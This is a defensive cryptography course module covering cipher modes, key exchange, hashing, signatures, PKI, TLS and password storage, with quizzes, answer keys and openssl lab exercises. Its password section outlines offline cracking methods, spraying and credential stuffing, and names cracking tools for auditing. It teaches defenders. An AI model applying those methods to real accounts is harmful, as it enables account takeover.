A block cipher only handles 16 bytes at a time, so a mode of operation defines how longer messages are processed. ECB encrypts every block independently, so identical plaintext blocks give identical ciphertext blocks and patterns remain visible; the famous encrypted-image demonstration shows the outline of the picture. ECB should not be used. CBC chains each block with the previous ciphertext and needs a random IV, but it provides no integrity and has been abused in padding oracle attacks. CTR turns the cipher into a stream. GCM combines CTR encryption with an authentication tag, giving authenticated encryption that detects tampering.

IVs and nonces

An initialization vector (IV) or nonce is a value that makes each encryption unique even when the same key and plaintext are reused. In CBC the IV must be unpredictable and random. In GCM the 96-bit nonce must never repeat under the same key; reuse lets an attacker recover plaintext relations and forge tags, a catastrophic failure. The IV is not secret and is usually sent along with the ciphertext. Authenticated encryption with associated data (AEAD), such as AES-GCM and ChaCha20-Poly1305, is the recommended default because it protects both confidentiality and integrity in one operation. Unauthenticated encryption lets attackers flip bits without detection.

The key distribution problem

The strength of symmetric encryption is irrelevant if the key is exposed. Two parties must somehow agree on a key without an eavesdropper learning it, and with n users who each need private channels you need $n(n-1)/2$ keys, which grows quickly. This is the key distribution problem, and asymmetric cryptography and key exchange protocols exist to solve it. Keys must also be generated by a cryptographically secure random source, stored in hardware modules or key management services, rotated, and never hard-coded in source code. Passwords can be turned into keys with a key derivation function, but they inherit the weakness of the password.

AES-256-GCM WITH OPENSSSL CONCEPT

```
# Conceptual parameters for an AEAD message
Algorithm : AES-256-GCM
Key : 32 random bytes (from a CSPRNG)
Nonce : 12 bytes, unique per message
Tag : 16 bytes, verified before decrypting

# ECB leaks patterns, GCM does not
ECB: same block -> same ciphertext
GCM: same block -> different ciphertext
```

WORKED EXAMPLE

Example Corp encrypts nightly backups with AES-256. The first version used ECB mode because it was the default in a small script, and an auditor noticed that repeated records in the database produced repeating ciphertext blocks. The team switched to AES-256-GCM with a fresh random nonce for each file and stored the key in a managed key service rather than the backup server. Tampering with a backup file now causes decryption to fail the tag check instead of silently producing damaged data. The cipher stayed the same; the mode and key handling made the difference.

KEY TERMS

AES: The standard symmetric block cipher with 128-bit blocks and 128, 192 or 256-bit keys.

ECB: A block mode that encrypts blocks independently and leaks patterns.

GCM: An authenticated mode providing encryption and integrity.

IV / nonce: A per-message value that makes encryption output unique.

AEAD: Authenticated encryption with associated data.

REMEMBER

- AES is the standard; use AEAD modes such as GCM.
- Never use ECB, and never repeat a nonce under one key.
- Key distribution and storage are the real challenges.

QUICK CHECK

1. Which mode should not be used because it reveals patterns?
 - A) GCM
 - B) ECB
 - C) CTR
 - D) ChaCha20-Poly1305
2. What block size does AES use?
 - A) 56 bits
 - B) 64 bits
 - C) 128 bits
 - D) 256 bits
3. What is the danger of reusing a GCM nonce with the same key?
 - A) Slower speed
 - B) Loss of confidentiality and forgery risk
 - C) Larger files
 - D) None
4. What is the hard part of symmetric encryption?
 - A) Encrypting fast
 - B) Safely sharing and storing the key
 - C) Block size
 - D) Using hex

Answers: 1-B 2-C 3-B 4-B

1. ECB maps identical blocks to identical ciphertext.
2. AES uses 128-bit blocks regardless of key length.
3. Nonce reuse breaks both secrecy and authentication.
4. Both sides need the same secret without exposure.

Asymmetric encryption and key exchange

Public-key cryptography lets strangers establish secrets over an open network, which is the foundation of secure web traffic.

Key pairs

Asymmetric cryptography uses a mathematically linked key pair. The public key can be shared with anyone, while the private key is kept secret. Data encrypted with the public key can be decrypted only with the private key, so anyone can send a confidential message to the owner without a prior shared secret. The reverse use, producing something with the private key that anyone can verify with the public key, gives digital signatures. Asymmetric operations are far slower than symmetric ones, so they are used for small tasks such as exchanging a symmetric session key, and the symmetric cipher protects the bulk data.

RSA

RSA, published in 1977, relies on the difficulty of factoring the product of two large primes. Security depends on key size: 2048-bit keys are the common minimum today and 3072 or 4096 bits are used for longer protection, while 1024-bit keys are considered broken in principle. RSA encryption must use padding such as OAEP, and signatures use PSS or PKCS#1 v1.5; raw RSA without padding is insecure. RSA keys are large and operations are relatively slow, but support is universal in certificates, SSH and code signing. A sufficiently large quantum computer running Shor's algorithm would break RSA, motivating post-quantum standards.

ECC

Elliptic curve cryptography bases security on the elliptic curve discrete logarithm problem. It reaches equivalent strength with much smaller keys: a 256-bit curve key is roughly comparable to 3072-bit RSA. Smaller keys mean faster operations, less bandwidth and lower power use, which suits phones and embedded devices. Common curves are P-256 (secp256r1) from NIST and Curve25519, used for X25519 key exchange and Ed25519 signatures. ECDSA and EdDSA are the signature algorithms. Curve choice matters, and implementations must avoid weak random numbers: a repeated nonce in ECDSA can leak the private key.

Diffie-Hellman key exchange

Diffie-Hellman (DH), published in 1976, lets two parties derive a shared secret across an open channel. Each side picks a private value, sends a public value computed from it, and combines the other side's public value with its own private value to reach the same secret. An eavesdropper sees only the public values and cannot feasibly compute the secret. Elliptic curve versions are ECDH. Plain DH does not authenticate the parties, so an active attacker could sit in the middle; real protocols add certificates or signatures. Using fresh ephemeral keys for each session (DHE, ECDHE) gives forward secrecy.

DIFFIE-HELLMAN WITH SMALL NUMBERS (TEACHING ONLY)

```
Public: p=23, g=5
Alice private a=6 -> sends A = 5^6 mod 23 = 8
Bob private b=15 -> sends B = 5^15 mod 23 = 19
Alice: 19^6 mod 23 = 2
Bob : 8^15 mod 23 = 2
Shared secret = 2 (real keys use 2048+ bits or curves)
```

WORKED EXAMPLE

Alice at Example Corp wants to send a file to Bob without ever meeting him. Bob publishes his public key on his site. Alice generates a random AES-256 key, encrypts the file with it, and encrypts that small AES key with Bob's public key. Bob uses his private key to recover the AES key and decrypt the file. This hybrid approach pairs the speed of symmetric encryption with the convenience of public-key encryption. Because only Bob holds the private key, an eavesdropper who captures everything sent learns nothing useful.

KEY TERMS

Public key: The shareable half of a key pair.

Private key: The secret half of a key pair; never shared.

RSA: Public-key system based on the difficulty of factoring large integers.

ECC: Public-key cryptography using elliptic curves with small keys.

Diffie-Hellman: Protocol for two parties to derive a shared secret over an open channel.

REMEMBER

- Public keys can be shared, private keys never.
- RSA and ECC solve key exchange and signing; ECC uses smaller keys.
- Diffie-Hellman derives a shared secret; ephemeral versions give forward secrecy.

QUICK CHECK

1. Which key decrypts data encrypted with a recipient's public key?
 - A) The same public key
 - B) The recipient's private key
 - C) The sender's private key
 - D) Any hash
2. About how large an RSA key is considered a safe minimum today?
 - A) 512 bits
 - B) 1024 bits
 - C) 2048 bits
 - D) 128 bits
3. Why use hybrid encryption?
 - A) Public-key operations are slow, so they protect a symmetric key
 - B) It removes keys
 - C) It avoids certificates
 - D) It is always weaker
4. What does plain Diffie-Hellman lack?
 - A) Shared secret
 - B) Authentication of parties
 - C) Math
 - D) Public values

Answers: 1-B 2-C 3-A 4-B

1. Only the private key matching the public key can decrypt.
2. 2048 bits is the common minimum.
3. Symmetric ciphers handle bulk data efficiently.
4. Without certificates or signatures, a man in the middle is possible.

Hashing, HMAC and salting

Hash functions verify integrity and store passwords, but only if you pick a modern algorithm and add the right protections.

Properties and algorithms

A cryptographic hash should be preimage resistant (you cannot recover the input from the digest), second-preimage resistant (you cannot find another input with the same digest) and collision resistant (you cannot find any two inputs with the same digest). MD5 produces 128 bits and SHA-1 produces 160 bits; both are broken for collision resistance. MD5 collisions were practical by 2004 and the first public SHA-1 collision came in 2017. SHA-256 and SHA-512 from the SHA-2 family, and SHA-3, are current choices. MD5 and SHA-1 may remain in non-security checksums, but must not be used for signatures or certificates.

Collisions and the birthday bound

Because digests are fixed-size and inputs are unlimited, collisions must exist; security means they are infeasible to find. Thanks to the birthday paradox, finding a collision takes about $2^{(n/2)}$ work for an n -bit hash, so a 128-bit hash offers roughly 64 bits of collision resistance, which is not enough. SHA-256 gives about 128 bits. Attackers exploiting collisions can create two different documents with the same hash, for example a harmless file and a malicious one, then present the first for approval and deliver the second. That is why algorithms with demonstrated collisions are retired from signing.

HMAC

A plain hash cannot prove who made a message, since anyone can compute it. A keyed construction called HMAC (hash-based message authentication code) mixes a secret key into the hash: $\text{HMAC}(\text{key}, \text{message}) = \text{H}((\text{key} \text{ xor opad}) \parallel \text{H}((\text{key} \text{ xor ipad}) \parallel \text{message}))$. Only parties with the key can produce or verify the tag, so it provides integrity and authenticity, though not non-repudiation because both sides share the key. HMAC-SHA256 is widespread in API request signing, JWT tokens using HS256 and TLS. Verification should use a constant-time comparison so that timing differences do not leak information. Never build your own scheme as $\text{hash}(\text{key} + \text{message})$, which is vulnerable to length extension with SHA-2.

Salting and rainbow tables

An attacker who steals a password database can precompute hashes of common passwords, or store them in a compressed form called a rainbow table, and look up matches instantly. A salt is a unique random value, typically 16 bytes or more, generated per user and stored beside the hash. The system hashes salt plus password, so identical passwords yield different hashes and precomputed tables become useless, forcing the attacker to attack each hash separately. Salts are not secret. A pepper is a secret value kept outside the database, for example in a hardware module, which adds extra protection if only the database leaks. Plain fast hashes are still unsuitable for passwords, as the last lesson shows.

SALT EFFECT (ILLUSTRATIVE VALUES)

```
password='Summer2024'
SHA-256(password) = same for every user
SHA-256(saltA + password) = differs for user A
SHA-256(saltB + password) = differs for user B
```

```
HMAC-SHA256(key, 'amount=100') -> tag
Change one byte of the message -> tag fails
```

WORKED EXAMPLE

Example Corp finds that its old login table stores unsalted SHA-1 hashes. Two accounts, alice and bob, share the same hash value, which immediately tells an attacker they chose the same password, and a public lookup site returns the plaintext in seconds. The team migrates to a slow salted algorithm, unique per user. For its payment API, the team also adds an HMAC-SHA256 header over each request body so the server can reject any message altered in transit. Hashing without salt exposed passwords, while a keyed hash protected message integrity.

KEY TERMS

Collision: Two different inputs producing the same hash.

HMAC: A keyed hash providing integrity and authenticity.

Salt: A unique random value mixed into each password hash.

Rainbow table: A precomputed table of hashes used to look up passwords.

Pepper: A secret value stored outside the database and added to password hashing.

REMEMBER

- Use SHA-256 or SHA-3, not MD5 or SHA-1, for security.
- HMAC adds a secret key for authenticity.
- Per-user salts defeat rainbow tables; peppers add secret protection.

QUICK CHECK

1. Which algorithm is broken for collision resistance?

- A) SHA-256
- B) SHA-3
- C) MD5
- D) SHA-512

2. What does a salt defeat?

- A) Encryption
- B) Precomputed rainbow tables
- C) TLS
- D) Hash length

3. HMAC proves what?

- A) Only that a file is large
- B) Integrity and authenticity using a shared key
- C) Non-repudiation
- D) Confidentiality

4. About how much work finds a collision in an n-bit hash?

- A) 2^n
- B) $2^{(n/2)}$
- C) n
- D) n squared

Answers: 1-C 2-B 3-B 4-B

1. MD5 collisions are practical.
2. Unique salts make precomputed tables useless.
3. Only holders of the key can create or verify the tag.
4. The birthday bound is about $2^{(n/2)}$.

Digital signatures

Signatures prove that data came from a specific key holder and was not altered, which underpins software updates, certificates and contracts.

How signing works

A digital signature applies the private key to a hash of the message. The signer computes a digest, for example SHA-256, then transforms it with the private key to produce the signature. A verifier recomputes the digest of the received message, uses the signer's public key on the signature, and checks that the two match. Signing the hash rather than the whole message keeps the operation fast and the signature small. If even one bit of the message changes, the digests differ and verification fails. Common algorithms are RSA with PSS padding, ECDSA over curves such as P-256, and Ed25519.

What a signature provides

A valid signature gives three properties. Integrity: the message was not modified after signing. Authenticity: it was produced by the holder of the private key matching the public key. Non-repudiation: because only one party holds the private key, the signer cannot plausibly deny signing, unlike an HMAC where both sides share the secret. Notice that a signature alone does not give confidentiality, since the message itself is still readable. Signing and encryption are separate operations and are often combined: sign first to prove origin, then encrypt to hide content. Encryption never replaces signing.

Trust in the public key

Verification only proves that someone holding the matching private key signed the data. You must still know that the public key truly belongs to the claimed person or organization. If an attacker can substitute their own public key, they can sign forged data that verifies correctly. Certificates solve this by binding a public key to an identity under a certification authority's signature, as the next lessons show. Other models exist: PGP uses a web of trust where people sign each other's keys, and SSH relies on first-use trust with a recorded host fingerprint that warns you when it later changes.

Real-world uses

Signatures appear everywhere. Operating systems and package managers verify signed updates before installing them, and Windows drivers, macOS apps and Android packages are code-signed. TLS certificates are signed by CAs, and the server signs handshake data to prove it owns its key. DNSSEC signs DNS records, and email standards such as DKIM sign message headers. Git commits can be signed with GPG or SSH keys. Protect signing keys carefully, ideally in hardware modules, because stolen keys let attackers sign malware that appears legitimate, as seen in several supply-chain incidents. Timestamping shows the signature existed before a certificate expired.

SIGN AND VERIFY WITH OPENSSL (SAMPLE FILES)

```
$ openssl dgst -sha256 -sign private.pem -out update.sig update.bin
$ openssl dgst -sha256 -verify public.pem \
  -signature update.sig update.bin
Verified OK
$ echo 'x' >> update.bin # tamper
$ openssl dgst -sha256 -verify public.pem \
  -signature update.sig update.bin
Verification Failure
```

WORKED EXAMPLE

Example Corp publishes a software update, update.bin, along with a signature file and its public key on example.com. A customer downloads all three, runs the verification command and sees 'Verified OK', confirming that the file matches what the vendor signed. Later a mirror site offers the same filename, but verification fails because someone inserted extra bytes. The customer discards the file. Note that the check works only if the customer obtained the public key through a trustworthy channel, since a forged key and matching forged signature would also verify.

KEY TERMS

Digital signature: A value created with a private key over a hash, verifiable with the public key.

Integrity: Assurance that data has not changed.

Authenticity: Assurance of who created the data.

Non-repudiation: Inability of the signer to deny signing.

Code signing: Signing software so users can verify its origin and integrity.

REMEMBER

- Sign a hash with the private key, verify with the public key.
- Signatures give integrity, authenticity and non-repudiation, not secrecy.
- You still need a trustworthy way to know whose public key it is.

QUICK CHECK

1. Which key creates a digital signature?
 - A) Public key
 - B) Private key
 - C) Session key
 - D) Salt
2. Why does a signature give non-repudiation but an HMAC does not?
 - A) Hashes are longer
 - B) Only one party holds the signing key
 - C) HMAC is encrypted
 - D) Signatures are shorter
3. What does a signature not provide?
 - A) Integrity
 - B) Authenticity
 - C) Confidentiality
 - D) Non-repudiation
4. What happens when one bit of a signed file changes?
 - A) Verification still passes
 - B) Verification fails
 - C) The key changes
 - D) The file is encrypted

Answers: 1-B 2-B 3-C 4-B

1. The signer uses the private key; anyone verifies with the public key.
2. HMAC keys are shared, so either party could have created the tag.
3. The signed message is not hidden unless it is also encrypted.
4. The digest no longer matches the signed value.

Certificates and PKI

Certificates bind a public key to an identity so browsers and systems can trust servers they have never seen before.

X.509 certificates

An X.509 certificate is a signed data structure that binds a public key to an identity. Key fields include the version, serial number, issuer (the CA that signed it), subject (the owner), validity period (not before and not after), the subject's public key, and extensions. Important extensions are Subject Alternative Name (SAN), which lists the hostnames or IP addresses the certificate covers, Key Usage and Extended Key Usage, and Basic Constraints, which says whether the certificate is a CA. Modern browsers match the hostname against the SAN, not the older Common Name. The certificate also contains the CA's signature over all these fields, so alteration is detectable.

Chains of trust

Trust flows through a chain. A root CA certificate is self-signed and stored in a root store shipped with the operating system or browser. Root keys are kept offline, so roots sign intermediate CA certificates, and intermediates sign end-entity (leaf) certificates for websites. A client builds the chain from the leaf upward, checks each signature, confirms validity dates and constraints, and stops at a root it already trusts. Servers should send the leaf plus intermediates; a missing intermediate is a frequent cause of validation errors. Private enterprise PKI works the same way, with the company root installed on managed devices.

Issuance, CSR and revocation

To obtain a certificate, the owner generates a key pair and a certificate signing request (CSR) containing the public key and requested subject names, signed by the private key. The CA verifies control of the domain, with validation levels DV, OV and EV, and returns the signed certificate. The private key never leaves the server. Automated issuance through ACME, used by Let's Encrypt, issues short-lived certificates. If a key is compromised, the certificate can be revoked. A CRL is a signed list of revoked serial numbers, and OCSP lets a client query the status of one certificate; OCSP stapling lets the server attach a fresh signed response.

Expiry and common failures

Certificates expire, with the public web limiting lifetimes to 398 days and moving toward shorter periods. Expired certificates cause outages and warnings, so monitoring and automated renewal are essential. Other common failures are a hostname mismatch, where the name in the URL is absent from the SAN, an untrusted or self-signed issuer, an incomplete chain, and a revoked certificate. Certificate Transparency logs publicly record issued certificates so that mis-issuance can be detected. Attackers abuse weak validation, such as users clicking through warnings, so warnings should never be trained away. A compromised CA is severe, and past incidents led to distrust of those CAs.

READING A CERTIFICATE WITH OPENSSSL (SAMPLE)

```
$ openssl x509 -in server.pem -noout -subject -issuer -dates -ext subjectAltName
subject=CN = www.example.com
issuer=C = US, O = Example Intermediate CA
notBefore=Jan 1 00:00:00 2026 GMT
notAfter=Mar 1 00:00:00 2027 GMT
X509v3 Subject Alternative Name:
    DNS:www.example.com, DNS:example.com
$ openssl req -new -key server.key -out server.csr
```

WORKED EXAMPLE

A browser at Example Corp shows a warning for <https://shop.example.com>. An analyst inspects the certificate and finds a SAN containing only `www.example.com` and `example.com`, so the hostname does not match. A second server shows a different error: the leaf is valid, but the chain ends at an intermediate the client does not trust because the server forgot to send it. A third has simply expired last week. Each failure appears as a warning to the user, but each has a different cause and a different fix: reissue with the correct SAN, install the intermediate, or renew.

KEY TERMS

X.509: The standard format for public key certificates.

CA: Certification authority that signs certificates.

CSR: Certificate signing request containing a public key and requested identity.

SAN: Subject Alternative Name listing valid hostnames.

OCSP: Protocol for checking one certificate's revocation status.

REMEMBER

- X.509 certificates bind keys to identities under a CA signature.
- Trust flows root -> intermediate -> leaf via the root store.
- Check SAN, issuer, dates and revocation when diagnosing errors.

QUICK CHECK

1. Which field do modern browsers use to match a hostname?
 - A) Serial number
 - B) Subject Alternative Name
 - C) Issuer
 - D) Validity
2. What does a CSR contain?
 - A) The private key
 - B) The public key and requested subject
 - C) The root store
 - D) The CRL
3. A server sends only its leaf certificate and clients fail validation. Likely cause?
 - A) Missing intermediate
 - B) Weak AES
 - C) Wrong port
 - D) Short salt
4. What is OCSP stapling?
 - A) Server attaches a signed revocation response
 - B) Client signs a CSR
 - C) A CRL for roots
 - D) An encryption mode

Answers: 1-B 2-B 3-A 4-A

1. The SAN lists the names the certificate is valid for.
2. The CSR carries the public key and identity; the private key stays secret.
3. Clients need the intermediate chain to reach a trusted root.
4. The server provides a fresh signed status to clients.

The TLS 1.2 and 1.3 handshake

TLS protects almost all web traffic, and reading its handshake shows how keys, certificates and ciphers work together.

Goals and the TLS 1.2 flow

TLS provides confidentiality, integrity and server authentication over TCP, typically on port 443 for HTTPS. In TLS 1.2 the client sends a ClientHello listing supported versions, cipher suites and a random value. The server replies with a ServerHello choosing a suite, its own random value and its certificate chain, followed by key exchange parameters for ECDHE and a ServerHelloDone. The client validates the certificate chain, hostname and dates, sends its key share, and both sides compute a master secret and session keys. ChangeCipherSpec and Finished messages confirm that both sides derived identical keys. That takes two round trips before application data.

TLS 1.3 improvements

TLS 1.3 (RFC 8446, 2018) removes legacy features and speeds things up. The client sends its key share inside the ClientHello, so the server can answer with ServerHello and key share immediately, and everything after ServerHello, including the certificate, is encrypted. The handshake finishes in one round trip, and resumption can allow 0-RTT early data, which carries a replay risk. Static RSA key exchange, CBC, RC4, SHA-1, compression and renegotiation are gone. Only five AEAD cipher suites remain, such as TLS_AES_256_GCM_SHA384 and TLS_CHACHA20_POLY1305_SHA256. Because key exchange is always ephemeral, forward secrecy is mandatory.

Forward secrecy and cipher suites

Forward secrecy means that compromise of the server's long-term private key does not reveal past recorded sessions, because each session used temporary ECDHE or DHE keys that are discarded. Without it, as in static RSA key exchange, an attacker who records traffic and later steals the key can decrypt everything. A TLS 1.2 cipher suite name such as TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 spells out the key exchange (ECDHE), the authentication (RSA certificate), the bulk cipher (AES-128-GCM) and the hash for the PRF (SHA-256). Prefer ECDHE with AEAD ciphers, and disable SSLv3, TLS 1.0 and 1.1, RC4, 3DES, export suites and null ciphers.

Validation and attacks

The client authenticates the server by validating the certificate chain, the SAN against the requested name, validity dates and revocation, and by checking that the server proves possession of the private key in the handshake. Mutual TLS adds a client certificate. Downgrade attacks try to force older versions; defenses include disabling old protocols and the TLS_FALLBACK_SCSV signal. Past flaws include POODLE against SSLv3 CBC, BEAST, CRIME, Heartbleed in an OpenSSL implementation and ROBOT against RSA key exchange. HSTS tells browsers to use only HTTPS, and SNI lets clients name the host in the ClientHello, though Encrypted Client Hello is emerging to hide it.

READING A HANDSHAKE (SIMPLIFIED)

```
1 Client -> Server ClientHello versions: 1.3, 1.2
               suites: TLS_AES_256_GCM_SHA384 ...
               key_share: x25519
2 Server -> Client ServerHello suite: TLS_AES_256_GCM_SHA384
               key_share: x25519
3 Server -> Client {Certificate} {CertVerify} {Finished}
4 Client -> Server {Finished}
5 Application data (encrypted)
{ } = encrypted under handshake keys
```

WORKED EXAMPLE

An analyst at Example Corp captures traffic between a client and 203.0.113.50 on port 443. The first packet is a ClientHello offering TLS 1.3 and 1.2. The ServerHello selects TLS 1.3 and TLS_AES_256_GCM_SHA384, and nothing after it shows the certificate in readable form because TLS 1.3 encrypts it. A different capture to an old server shows a TLS 1.2 handshake with TLS_RSA_WITH_AES_128_CBC_SHA, which has no forward secrecy and no AEAD. The analyst recommends upgrading that server to ECDHE with GCM suites.

KEY TERMS

ClientHello: The first handshake message offering versions, suites and a key share.

Cipher suite: A named set of key exchange, authentication, cipher and hash algorithms.

Forward secrecy: Past sessions stay safe even if the long-term key is later stolen.

ECDHE: Ephemeral elliptic curve Diffie-Hellman key exchange.

mTLS: Mutual TLS, where the client also presents a certificate.

REMEMBER

- TLS 1.3 uses one round trip and mandatory forward secrecy.
- A cipher suite names key exchange, authentication, cipher and hash.
- Disable SSLv3, TLS 1.0/1.1, RC4 and CBC-based legacy suites.

QUICK CHECK

1. How many round trips does a full TLS 1.3 handshake need?

- A) Three
- B) Two
- C) One
- D) Zero always

2. What provides forward secrecy?

- A) Static RSA key exchange
- B) Ephemeral ECDHE keys
- C) Longer certificates
- D) HSTS

3. Which is no longer present in TLS 1.3?

- A) AEAD ciphers
- B) RC4 and static RSA key exchange
- C) Certificates
- D) Key shares

4. What does the SAN check in the client confirm?

- A) Cipher strength
- B) The name requested matches the certificate
- C) Server load
- D) Compression

Answers: 1-C 2-B 3-B 4-B

1. TLS 1.3 completes in one round trip.
2. Temporary keys are discarded, so later key theft does not expose old sessions.
3. TLS 1.3 removed legacy ciphers and static RSA.
4. The client checks that the hostname appears in the SAN.

Password storage and cracking

Databases of stolen password hashes appear in breaches constantly, so how you store passwords decides how much damage follows.

Why fast hashes fail

General hashes such as SHA-256 are designed to be fast, and a modern GPU can compute billions of them per second. If an attacker steals a table of fast hashes, they can test enormous numbers of guesses offline, with no lockout and no network detection. Therefore password storage uses slow, tunable algorithms that cost memory or time per guess. Passwords must always be salted, and the system should never store them reversibly. Even strong hashing cannot rescue very weak passwords: the algorithm only slows each guess, so password length, uniqueness and breach checking still matter. Reused passwords also put other sites at risk.

The right algorithms

PBKDF2 applies an HMAC repeatedly, with OWASP guidance suggesting at least 600,000 iterations for PBKDF2-HMAC-SHA256, and is common in FIPS contexts. bcrypt, from 1999, has a cost factor and a 72-byte input limit, and uses salts automatically. scrypt adds memory hardness to resist GPU and ASIC attacks. Argon2, winner of the 2015 Password Hashing Competition, comes in Argon2id, Argon2d and Argon2i variants; Argon2id is the recommended default, with parameters such as 19 MiB of memory, 2 iterations and 1 lane as an OWASP minimum. Tune the cost so a single verification takes roughly 100 to 500 milliseconds on your hardware.

Attack methods

Attackers use several methods against stolen hashes. A dictionary attack tries wordlists of known passwords, such as those from earlier breaches. Rules mutate words, for example turning 'password' into 'P@ssw0rd1'. A brute-force attack tries every combination of a character set up to a length, which is feasible only for short passwords. Masks target patterns like a capital letter followed by lowercase and four digits. Rainbow tables are defeated by salts. Online attacks, such as password spraying and credential stuffing, target the live login with common or leaked passwords, and are countered by rate limiting, lockout, MFA and breach-password checks. Tools such as hashcat and John the Ripper are used by testers to audit strength.

Operational practice

Defenders should hash with Argon2id or bcrypt, use unique salts, optionally add a pepper held outside the database, and re-hash at login when parameters are upgraded. Encourage long passphrases of 12 or more characters, block known-breached and common passwords, and avoid forced periodic rotation without a reason, as recommended by NIST SP 800-63B. Add MFA so a cracked password is not enough. Compare hash comparisons in constant time, never log passwords, and protect the credential database with strong access control and monitoring. Plan for a breach: be ready to force resets and notify users, since even good hashing buys time rather than total safety.

HASH FORMATS YOU WILL SEE (ILLUSTRATIVE)

```
MD5 unsalted : 5f4dcc3b5aa765d61d8327deb882cf99
bcrypt : $2b$12$<22-char salt><31-char hash>
Argon2id : $argon2id$v=19$m=19456,t=2,p=1$<salt>$<hash>
```

```
Cost 12 bcrypt = 2^12 = 4096 rounds of key setup
Each +1 doubles the work
```

WORKED EXAMPLE

Example Corp suffers a database leak. The old accounts table holds unsalted MD5 hashes, and within an hour a wordlist attack in a lab recovers most of them, including identical hashes for users who share common passwords. The newer table uses bcrypt with cost 12 and unique salts, and the same wordlist recovers only a handful of very weak passwords after a long time. The team forces resets, migrates every account to Argon2id at next login, adds MFA and starts checking new passwords against a breach list. The algorithm and salt reduced damage, but weak passwords still fell first.

KEY TERMS

bcrypt: Slow adaptive password hash with a cost factor.

Argon2id: Memory-hard password hash recommended as a default.

PBKDF2: Password key derivation using many HMAC iterations.

Pepper: A secret value kept outside the database and added to hashing.

Credential stuffing: Trying leaked username and password pairs on other sites.

REMEMBER

- Store passwords with salted, slow, memory-hard hashes such as Argon2id or bcrypt.
- Dictionary, rule, mask and brute-force attacks all run offline against stolen hashes.
- Add MFA, breach checks and unique long passwords.

QUICK CHECK

1. Why is SHA-256 alone poor for storing passwords?
 - A) It is too slow
 - B) It is too fast for offline guessing
 - C) It is encrypted
 - D) It uses salts
2. Which algorithm is memory-hard and the common recommended default?
 - A) MD5
 - B) Argon2id
 - C) SHA-1
 - D) CRC32
3. Trying one common password across many accounts is called?
 - A) Brute force
 - B) Password spraying
 - C) Rainbow lookup
 - D) Hash collision
4. What does a bcrypt cost increase of 1 do?
 - A) Halves the work
 - B) Doubles the work
 - C) No change
 - D) Shortens the hash

Answers: 1-B 2-B 3-B 4-B

1. Fast hashes let attackers test billions of guesses per second.
2. Argon2id resists GPU and ASIC cracking with memory cost.
3. Spraying avoids lockouts by spreading attempts across accounts.
4. The cost is exponential; each +1 doubles the rounds.

Decode, decrypt and hash

SCENARIO

You are in a sandboxed terminal at Example Corp with three sample files: note.txt, a Base64 string, and a hash list. The goal is to run the three kinds of operation and learn by direct comparison which of them can be undone. Use base64, openssl enc with AES-256-CBC and a throwaway password, and sha256sum, and then try to reverse each result. Record your observations. Everything uses fictional sample data and the key 'labpass'.

OBJECTIVE

Run base64, openssl enc and sha256sum and state which operations are reversible.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: echo -n 'meet at noon' | base64

Simulator shows:
Output: bWVldCBhdCBub29u

- 2 **Do:** Run: echo 'bWVldCBhdCBub29u' | base64 -d

Simulator shows:
Output: meet at noon. Encoding reverses with no key.

- 3 **Do:** Run: openssl enc -aes-256-cbc -pbkdf2 -in note.txt -out note.enc -pass pass:labpass

Simulator shows:
note.enc is created and looks like random bytes.

- 4 **Do:** Run the same command with -d and the right password, then again with the wrong one.

Simulator shows:
Right password restores the text; wrong password fails with a bad decrypt error.

- 5 **Do:** Run: sha256sum note.txt

Simulator shows:
A 64-hex-character digest appears.

- 6 **Do:** Change one letter in note.txt and run sha256sum again.

Simulator shows:
The digest is completely different.

- 7 **Do:** Try to recover note.txt from the digest.

Simulator shows:
No tool can; hashing is one way.

ANSWER

Base64 encoding is reversible by anyone. Encryption is reversible only with the correct key. Hashing is not reversible, and a one-letter change produces a totally different digest. So encoding gives format, encryption gives secrecy and hashing gives verification.

Hint shown in the app: Only one of the three needs no key to reverse and only one cannot be reversed.

Spot weak crypto choices

SCENARIO

The Example Corp web server at 198.51.100.40 serves HTTPS with an inherited configuration written years ago. A scan report flags SSLv3, RC4 and several CBC cipher suites, and says that TLS 1.3 is not enabled. In the config editor you will edit the protocol and cipher lines, then press Validate to see the grade change. Replace each weak setting with a modern equivalent, keeping compatibility with current browsers while removing anything with known attacks.

OBJECTIVE

Remove SSLv3, RC4 and CBC suites and enable TLS 1.3 with strong ciphers.

STEPS IN THE SIMULATOR

- 1 **Do:** Open `tls.conf` and read the protocols line.

Simulator shows:

It lists SSLv3, TLSv1, TLSv1.1, TLSv1.2.

- 2 **Do:** Replace it with TLSv1.2 TLSv1.3.

Simulator shows:

Validator: legacy protocols removed.

- 3 **Do:** Open the ciphers line and delete RC4 and 3DES entries.

Simulator shows:

Validator: weak ciphers removed.

- 4 **Do:** Remove all CBC suites such as ECDHE-RSA-AES128-SHA.

Simulator shows:

Validator: CBC suites removed.

- 5 **Do:** Add ECDHE-ECDSA-AES256-GCM-SHA384, ECDHE-RSA-AES256-GCM-SHA384 and ECDHE-RSA-CHACHA20-POLY1305.

Simulator shows:

Validator: AEAD with forward secrecy.

- 6 **Do:** Enable the TLS 1.3 suites TLS_AES_256_GCM_SHA384 and TLS_CHACHA20_POLY1305_SHA256.

Simulator shows:

Validator: TLS 1.3 enabled.

- 7 **Do:** Click Validate.

Simulator shows:

Grade moves from C to A.

ANSWER

Allow only TLS 1.2 and TLS 1.3, drop SSLv3, TLS 1.0 and 1.1, remove RC4, 3DES and CBC suites, and keep ECDHE with AES-GCM or ChaCha20-Poly1305. This gives forward secrecy and authenticated encryption.

Hint shown in the app: Look for RC4, SSL and anything ending in -SHA with CBC.

Verify a signed file

SCENARIO

A fictional vendor, Example Corp, posted `tool.tar.gz`, a checksum file `tool.sha256` and a signature `tool.sig`, with `public.pem` for verification. Two download copies exist: one from the official site and one from a mirror. Use the terminal to check the SHA-256 checksum and the openssl signature on both copies and decide which download was tampered with. Remember that a matching checksum from the same untrusted place is weak, which is why the signature matters.

OBJECTIVE

Check a checksum and an openssl signature and detect the tampered download.

STEPS IN THE SIMULATOR

- Do:** Run: `sha256sum tool.tar.gz` and compare with `tool.sha256`.
Simulator shows:
Official copy: digests match.
- Do:** Run: `sha256sum mirror/tool.tar.gz`.
Simulator shows:
Digest differs from the published value.
- Do:** Run: `openssl dgst -sha256 -verify public.pem -signature tool.sig tool.tar.gz`
Simulator shows:
Verified OK.
- Do:** Run the same command on `mirror/tool.tar.gz`.
Simulator shows:
Verification Failure.
- Do:** Compare file sizes with `ls -l`.
Simulator shows:
The mirror file is a few bytes larger.
- Do:** Decide which copy to trust.
Simulator shows:
Only the official copy passes both checks.
- Do:** Report the finding in the notes box.
